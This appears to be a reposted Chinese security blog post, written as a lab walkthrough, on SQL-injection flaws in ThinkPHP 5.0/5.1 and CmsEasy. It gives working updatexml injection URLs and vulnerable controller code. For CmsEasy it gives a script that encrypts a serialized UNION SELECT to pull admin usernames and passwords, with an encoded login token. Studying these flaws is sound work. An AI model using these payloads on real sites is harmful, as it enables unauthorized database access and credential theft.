当前位置: 首页 > news >正文

ThinkPHP5.1.C+CmsEasy-SQL注入

目录

1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)

1.1环境配置

1.1.1将 composer.json 文件的 require 字段设置成如下:

1.1.2设置application/index/controller/Index.php 文件

1.1.3在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debug 和 app_trace 。​编辑​编辑

1.1.4Payload触发SQL注入

1.2漏洞分析

2、ThinkPHP 中存在的 SQL注入 漏洞( orderby 方法注入)

2.1漏洞环境

2.1.1将 composer.json 文件的 require 字段设置成如下:

2.1.2并配置 application/index/controller/Index.php

2.1.3在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debug 和 app_trace 

​编辑

2.1.4漏洞利用

2.2漏洞分析

2.3漏洞修复

3、cms的sql注入

3.1第一个漏洞,未授权登录 

3.1.1查看admin.php,发现构造函数可以跳过admin的限制

3.1.2这里就要考虑一下怎么在反序列化后放一个注入,有解密就有加密,所以我们要把加密函数提取出来,加密函数提取后还有提取其他的关联函数才可以

3.2接下来如何编写?

3.2.1.先写安全码

3.2.2.写注入语句,注入语句必须是数组,这里要清楚库里面有多少个字段才行

3.2.3访问页面

3.3拿到以后怎么访问到后台,查看源码会发现是remotelogin,然后还要加一个args传参


1、ThinkPHP 中存在的 SQL注入 漏洞( select 方法注入)

1.1环境配置

本次漏洞存在于 Mysql 类的 parseWhereItem 方法中。由于程序没有对数据进行很好的过滤,将数据拼接进 SQL 语句,导致 SQL注入漏洞 的产生。漏洞影响版本: ThinkPHP5全版本

1.1.1将 composer.json 文件的 require 字段设置成如下:

"require": {"php": ">=5.4.0","topthink/framework": "5.0.15"
}

1.1.2设置application/index/controller/Index.php 文件

<?php
namespace app\index\controller;class Index
{public function index(){$username = request()->get('username');$result = db('users')->where('username','exp',$username)->select();return 'select success';}
}

1.1.3在 application/database.php 文件中配置数据库相关信息,并开启 application/config.php 中的 app_debugapp_trace

并在数据库中创建好users表

1.1.4Payload触发SQL注入

http://127.0.0.1/think/public/index.php?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

1.2漏洞分析

程序默认调用 Request 类的 get 方法中会调用该类的 input 方法,然后进到thinkphp/helper.php中的db方法,再进到thinkphp/library/think/db/Query.php中where方法,通过其 parseWhereExp 方法分析查询表达式,然后再返回并继续调用 select 方法准备开始构建 select 语句

此处调用$this->builder的select方法,而此处$this->builder 为think/db/builder/Mysql类,继承于Builder类,因此调用的是Builder类的select方法

在 select 方法中,程序会对 SQL 语句模板用变量填充,其中用来填充 %WHERE% 的变量中存在用户输入的数据,跟进这个 where 分析函数,会发现其会调用生成查询条件 SQL 语句的 buildWhere 函数,此处 $where 经过 buildWhere 方法处理后返回 $whereStr,期间调用 parseWhereItem 方法

继续跟进 buildWhere 函数,发现用户可控数据又被传入了 parseWhereItem where子单元分析函数。我们发现当操作符等于 EXP 时,将来自用户的数据直接拼接进了 SQL 语句,最终导致了 SQL注入漏洞 。

2、ThinkPHP 中存在的 SQL注入 漏洞( orderby 方法注入)

2.1漏洞环境

本次漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22

2.1.1将 composer.json 文件的 require 字段设置成如下:

"require": {"php": ">=5.6.0","topthink/framework": "5.1.25"
}

2.1.2并配置 application/index/controller/Index.php

<?php
namespace app\index\controller;class Index
{public function index(){$options = request()->get('options');$result = db('users')->max($options);var_dump($result);}
}

2.1.3在 config/database.php 文件中配置数据库相关信息,并开启 config/app.php 中的 app_debugapp_trace 

create database tpdemo;
use tpdemo;
create table users(id int primary key auto_increment,username varchar(50) not null
);
insert into users(id,username) values(1,'Mochazz');
insert into users(id,username) values(2,'Jerry');
insert into users(id,username) values(3,'Kitty');

2.1.4漏洞利用

index.php?options=id`)%2bupdatexml(1,concat(0x7,user(),0x7e),1)%20from%20users%23

2.2漏洞分析

用户可控数据未经过滤,传入 Query 类的 max 方法进行聚合查询语句构造,接着调用本类的 aggregate 方法,本次漏洞问题正是发生在该函数底层代码中,所以所有调用该方法的聚合方法均存在 SQL 注入问题,我们看到 aggregate 方法又调用了 Mysql 类的 aggregate 方法,在该方法中,我们可以明显看到程序将用户可控变量 $field 经过 parseKey 方法处理后,与 SQL 语句进行了拼接。下面就来具体看看 parseKey 方法

Connection类下的aggregate()方法:先经过了一个拼接,然后会进入value()方法 ,该方法会调用 Builder 类的 select 方法来构造 SQL 语句

经过一个拼接得到的$field=MAX(`id`) and updatexml(1,concat(0x7e,user(),0x7e),1)from users#`) AS tp_max

然后看value(),其中最重要的就是生成SQL语句处

$sql=$this->builder->select(%query);

Builder类下的select方法:重点看对字段的处理,也就是重点看$this->parseField($query, $options['field']),

$field数组的值逐个传入parseKey中检查,然后再往$array中添加值,$array数组以逗号合并起来,得到$fieldStr

上述的parsekey方法来自Mysql类下的parsekey方法,会对字段名进行检查,其中有一处不满足正则就加反引号的代码,不过这对我们的上面$fields数组中的值没有影响,因为都不满足那个正则

2.3漏洞修复

官方的修复方法是:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常。

3、cms的sql注入

先搭建环境成功登录网站

3.1第一个漏洞,未授权登录 

3.1.1查看admin.php,发现构造函数可以跳过admin的限制

http://127.0.0.1/cms/index.php?case=config&act=system&set=site&admin_dir=admin&site=default&ishtml=1

这样就完全符合构造函数的要求,可以进入网站后台,拿到cookie安全码

$args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password'));

$user=$user->getrow(unserialize($args));

注释:cookie_password这里先拿到网站的安全码,在把你的提交$args经过base64_decode的解码,在xtea_decrypt这个函数进行解密,全部解密后在进行一个反序列化unserialize,反序列化用getrow方法查询到的结果获取数据库第一行

3.1.2这里就要考虑一下怎么在反序列化后放一个注入,有解密就有加密,所以我们要把加密函数提取出来,加密函数提取后还有提取其他的关联函数才可以

<?php
function xxtea_encrypt($str, $key) {if ($str == "") {return "";}$v = str2long($str, true);$k = str2long($key, false);if (count($k) < 4) {for ($i = count($k); $i < 4; $i++) {$k[$i] = 0;}}$n = count($v) - 1;$z = $v[$n];$y = $v[0];$delta = 0x9E3779B9;$q = floor(6 + 52 / ($n + 1));$sum = 0;while (0 < $q--) {$sum = int32($sum + $delta);$e = $sum >> 2 & 3;for ($p = 0; $p < $n; $p++) {$y = $v[$p + 1];$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));$z = $v[$p] = int32($v[$p] + $mx);}$y = $v[0];$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));$z = $v[$n] = int32($v[$n] + $mx);}return long2str($v, false);
}function str2long($s, $w) {$v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));$v = array_values($v);if ($w) {$v[count($v)] = strlen($s);}return $v;
}function long2str($v, $w) {$len = count($v);$n = ($len - 1) << 2;if ($w) {$m = $v[$len - 1];if (($m < $n - 3) || ($m > $n)) return false;$n = $m;}$s = array();for ($i = 0; $i < $len; $i++) {$s[$i] = pack("V", $v[$i]);}if ($w) {return substr(join('', $s), 0, $n);}else {return join('', $s);}
}function int32($n) {while ($n >= 2147483648) $n -= 4294967296;while ($n <= -2147483649) $n += 4294967296;return (int)$n;
}

3.2接下来如何编写?

3.2.1.先写安全码

3.2.2.写注入语句,注入语句必须是数组,这里要清楚库里面有多少个字段才行

在index.php开头添加以下代码:$key = '9a35ab2c5b5926c5dd4b29adc840df1c';$table = array(  'userid`=-1 UNION SELECT 1,CONCAT(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 FROM cmseasy_user LIMIT 0,1#' 
);echo base64_encode(xxtea_encrypt(serialize($table), $key));  

echo base64_encode(xxtea_encrypt(serialize($table), $key));  

要和前面顺序相反,先序列号在加密在解码 

3.2.3访问页面

3.3拿到以后怎么访问到后台,查看源码会发现是remotelogin,然后还要加一个args传参

te=default

a8DEYpBZyT5V3k16gb9MEL96E%2bCifLZChPA65C7qa4SyDMA0flrrsPkHG6fNuBMrLiq9854vDajpNlL65AyrtEiqhcdIlrFr7hZLpGdeQMQLxHQEOKWCWoadMry14kySpCg4TR0%2fPmh0hvOLY1tkmbNvS7wjCy2EarMtT8JOtlGFMdbIgMBNK%2fMasTNEvWuUbJsWE%2fLzs8hasQc9

正常运行后会产生以下信息

​​

这里只拿到了名字,密码还没拿到,还在解决

相关文章:

ThinkPHP5.1.C+CmsEasy-SQL注入

目录 1、ThinkPHP 中存在的 SQL注入 漏洞&#xff08; select 方法注入&#xff09; 1.1环境配置 1.1.1将 composer.json 文件的 require 字段设置成如下&#xff1a; 1.1.2设置application/index/controller/Index.php 文件 1.1.3在 application/database.php 文件中配置…...

Python 绘图进阶之词云图:文本数据的可视化艺术

Python 绘图进阶之词云图&#xff1a;文本数据的可视化艺术 引言 在数据科学和自然语言处理领域&#xff0c;词云图&#xff08;Word Cloud&#xff09;是一种常用的可视化工具。它通过直观的图形展示文本数据中的高频词汇&#xff0c;使得我们能够快速抓住文本内容的核心主题…...

【Windows】Q-Dir(资源管理器)软件介绍

软件介绍 Q-Dir是一款免费的文件管理器软件&#xff0c;它可以让您更方便地浏览和管理计算机上的文件和文件夹。与Windows自带的资源管理器相比&#xff0c;Q-Dir具有更多的功能和选项。 安装教程 软件下载完成&#xff0c;解压软件。 点击Q-Dir.exe即可打开软件。 功能…...

什么是令牌桶算法?工作原理是什么?使用它有哪些优点和注意事项?

大家好&#xff0c;我是鸭鸭&#xff01; 此答案节选自鸭鸭最近弄的面试刷题神器面试鸭 &#xff0c;更多大厂常问面试题&#xff0c;可以点击下面的小程序进行阅读哈&#xff01; 目前这个面试刷题小程序刚出&#xff0c;有网页和小程序双端可以使用&#xff01; 回归面试题…...

C++-类与对象(中上篇)

一、目标 1. 类的 6 个默认成员函数 2. 构造函数 3. 析构函数 二、对目标的介绍 1. 类的6个默认成员函数 如果一个类中什么成员都没有&#xff0c;简称为空类。 空类中真的什么都没有吗&#xff1f;并不是&#xff0c;任何类在什么都不写时&#xff0c;编译器会自动生…...

链表 206.反转链表

一般方法 不需要一个个来回换&#xff0c;只需要改变链表的指向&#xff0c;即可完成 一个链表的头节点&#xff0c;也代表了整个链表 class Solution {public ListNode reverseList(ListNode head) {ListNode temp;ListNode cur head;ListNode pre null;while(cur ! null…...

Ubuntu18.04 配置EtherCAT主站IGH SOEM

IGH IGH 是开源的EtherCAT 主站软件 一、安装依赖 sudo apt update sudo apt install build-essential linux-headers-$(uname -r) mercurial autoconf libtool 也不知道安装的完全不完全 uname -r 可以查看内核&#xff0c;我安装的ubuntu18.04的内核版本是 5.4.0-84-gen…...

航空航天构型管理

构型管理(CM)被定义为在产品的生命周期中应用的SE技术和管理规程。CM的五个原则是&#xff1a;CM计划与执行、配置识别、配置变更和差异控制、配置状态核算和配置验证。 广义上的构型管理规划和管理是有效实施配置管理的关键。特别是在不同项目之间的差异中&#xff0c;构型管理…...

Visual Studio Code 安装与 C/C++ 语言运行总结

​ 大家好&#xff0c;我是程序员小羊&#xff01; 前言&#xff1a; Visual Studio Code&#xff08;简称 VS Code&#xff09;是由微软开发的一款轻量级、强大的代码编辑器&#xff0c;支持多种编程语言和开发框架。由于其丰富的插件生态系统和灵活的配置选项&#xff0c;VS…...

Science Robotics 受鳞片启发的可编程机器人结构,可同时进行形状变形和刚度变化

一、前言速览 生物有机体通常凭借复杂的结构表现出显著的多功能性&#xff0c;例如章鱼具有可以同时改变形状和刚度的能力。现有的仿生软体机器人要想实现这样的能力&#xff0c;往往需要繁琐的结构和复杂的控制系统。为此&#xff0c;来自新加坡南洋理工大学的研究人员从覆盖…...

SpringBoot 自定义 Starter 实现

一、定义&#xff0c;什么是Starter SpringBoot Starter 是”一站式服务&#xff08;one-stop service&#xff09;“的依赖 Jar 包&#xff1a; 包含 Spring 以及相关技术&#xff08;比如Redis&#xff09;的所有依赖提供了自动配置的功能&#xff0c;开箱即用提供了良好的…...

「Spring MVC」Session、Cookie

&#x1f387;个人主页&#xff1a;Ice_Sugar_7 &#x1f387;所属专栏&#xff1a;JavaEE &#x1f387;欢迎点赞收藏加关注哦&#xff01; Spring MVC &#x1f349;Session & Cookie&#x1f34c;联系与区别 &#x1f349;获取 Cookie&#x1f349;存储 & 获取 Sess…...

Java虚拟机:垃圾回收器

大家好,我是栗筝i,这篇文章是我的 “栗筝i 的 Java 技术栈” 专栏的第 037 篇文章,在 “栗筝i 的 Java 技术栈” 这个专栏中我会持续为大家更新 Java 技术相关全套技术栈内容。专栏的主要目标是已经有一定 Java 开发经验,并希望进一步完善自己对整个 Java 技术体系来充实自…...

ES6-ES13学习笔记

初识ES6 ECMAScript 6.0&#xff08;以下简称 ES6&#xff09;是 JavaScript 语言的下一代标准&#xff0c;已经在 2015 年 6 月正式发布了。它的目标&#xff0c;是使得 JavaScript 语言可以用来编写复杂的大型应用程序&#xff0c;成为企业级开发语言。 1997年&#xff1a;EC…...

【Qt开发】QtCharts图表——在ui上添加QChartView控件并进行绘图配置

【Qt开发】QtCharts图表——在ui上添加QChartView控件并进行绘图配置 文章目录 控件安装和模块导入在ui上添加QChartView控件QChartView图表配置附录&#xff1a;C语言到C的入门知识点&#xff08;主要适用于C语言精通到Qt的C开发入门&#xff09;C语言与C的不同C中写C语言代码…...

Android14 屏幕录制(屏幕投影)和音频播放采集

Android 5开始支持屏幕采集, Android 10支持音频播放采集&#xff0c;不过Android 14用前台服务做屏幕录制时要增加一些处理. 1. app manifest 需要增加: <manifest><uses-permission android:name"android.permission.FOREGROUND_SERVICE" /><uses…...

一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶

一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶 文章目录 前言一行实现88个群智能算法优化混合核极限学习机HKELM的多特征输入单输出的数据回归预测Matlab程序全家桶 一、HKELM模型1. 极限学习机&#xff08;ELM&#xff0…...

redis面试(十五)公平锁队列重排

队列重拍 先说一下当前的加锁状态 anyLock由客户端A持有队列中是客户端B、客户端C并且客户端B现在是排在头部 那么队列重拍就是队列中某个客户端长时间没有重新申请加锁&#xff0c;没有刷新分数&#xff0c;就会被队列中挤掉。 假设这个长时间没有加锁的客户端是B。 总结 …...

python 基础语法os模块

一、os模块 待总结 二、os.path模块 1.abspath()方法--获取绝对路径 abspathO)方法用于返回文件或者目录的绝对路径。 语法格式如下: os .path.abspath(path) 参数说明: path:表示要获取绝对路径的相对路径&#xff0c;可以是文件也可以是目录。 返回值:返回获取到的绝…...

图论------迪杰斯特拉(Dijkstra)算法求单源最短路径。

编程要求 在图的应用中&#xff0c;有一个很重要的需求&#xff1a;我们需要知道从某一个点开始&#xff0c;到其他所有点的最短路径。这其中&#xff0c;Dijkstra 算法是典型的最短路径算法。 本关的编程任务是补全右侧代码片段中 Begin 至 End 中间的代码&#xff0c;实现 …...

eNSP-Cloud(实现本地电脑与eNSP内设备之间通信)

说明&#xff1a; 想象一下&#xff0c;你正在用eNSP搭建一个虚拟的网络世界&#xff0c;里面有虚拟的路由器、交换机、电脑&#xff08;PC&#xff09;等等。这些设备都在你的电脑里面“运行”&#xff0c;它们之间可以互相通信&#xff0c;就像一个封闭的小王国。 但是&#…...

使用VSCode开发Django指南

使用VSCode开发Django指南 一、概述 Django 是一个高级 Python 框架&#xff0c;专为快速、安全和可扩展的 Web 开发而设计。Django 包含对 URL 路由、页面模板和数据处理的丰富支持。 本文将创建一个简单的 Django 应用&#xff0c;其中包含三个使用通用基本模板的页面。在此…...

【HarmonyOS 5.0】DevEco Testing:鸿蒙应用质量保障的终极武器

——全方位测试解决方案与代码实战 一、工具定位与核心能力 DevEco Testing是HarmonyOS官方推出的​​一体化测试平台​​&#xff0c;覆盖应用全生命周期测试需求&#xff0c;主要提供五大核心能力&#xff1a; ​​测试类型​​​​检测目标​​​​关键指标​​功能体验基…...

江苏艾立泰跨国资源接力:废料变黄金的绿色供应链革命

在华东塑料包装行业面临限塑令深度调整的背景下&#xff0c;江苏艾立泰以一场跨国资源接力的创新实践&#xff0c;重新定义了绿色供应链的边界。 跨国回收网络&#xff1a;废料变黄金的全球棋局 艾立泰在欧洲、东南亚建立再生塑料回收点&#xff0c;将海外废弃包装箱通过标准…...

屋顶变身“发电站” ,中天合创屋面分布式光伏发电项目顺利并网!

5月28日&#xff0c;中天合创屋面分布式光伏发电项目顺利并网发电&#xff0c;该项目位于内蒙古自治区鄂尔多斯市乌审旗&#xff0c;项目利用中天合创聚乙烯、聚丙烯仓库屋面作为场地建设光伏电站&#xff0c;总装机容量为9.96MWp。 项目投运后&#xff0c;每年可节约标煤3670…...

镜像里切换为普通用户

如果你登录远程虚拟机默认就是 root 用户&#xff0c;但你不希望用 root 权限运行 ns-3&#xff08;这是对的&#xff0c;ns3 工具会拒绝 root&#xff09;&#xff0c;你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案&#xff1a;创建非 roo…...

《基于Apache Flink的流处理》笔记

思维导图 1-3 章 4-7章 8-11 章 参考资料 源码&#xff1a; https://github.com/streaming-with-flink 博客 https://flink.apache.org/bloghttps://www.ververica.com/blog 聚会及会议 https://flink-forward.orghttps://www.meetup.com/topics/apache-flink https://n…...

Unity | AmplifyShaderEditor插件基础(第七集:平面波动shader)

目录 一、&#x1f44b;&#x1f3fb;前言 二、&#x1f608;sinx波动的基本原理 三、&#x1f608;波动起来 1.sinx节点介绍 2.vertexPosition 3.集成Vector3 a.节点Append b.连起来 4.波动起来 a.波动的原理 b.时间节点 c.sinx的处理 四、&#x1f30a;波动优化…...

Linux --进程控制

本文从以下五个方面来初步认识进程控制&#xff1a; 目录 进程创建 进程终止 进程等待 进程替换 模拟实现一个微型shell 进程创建 在Linux系统中我们可以在一个进程使用系统调用fork()来创建子进程&#xff0c;创建出来的进程就是子进程&#xff0c;原来的进程为父进程。…...

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数

高效线程安全的单例模式:Python 中的懒加载与自定义初始化参数 在软件开发中,单例模式(Singleton Pattern)是一种常见的设计模式,确保一个类仅有一个实例,并提供一个全局访问点。在多线程环境下,实现单例模式时需要注意线程安全问题,以防止多个线程同时创建实例,导致…...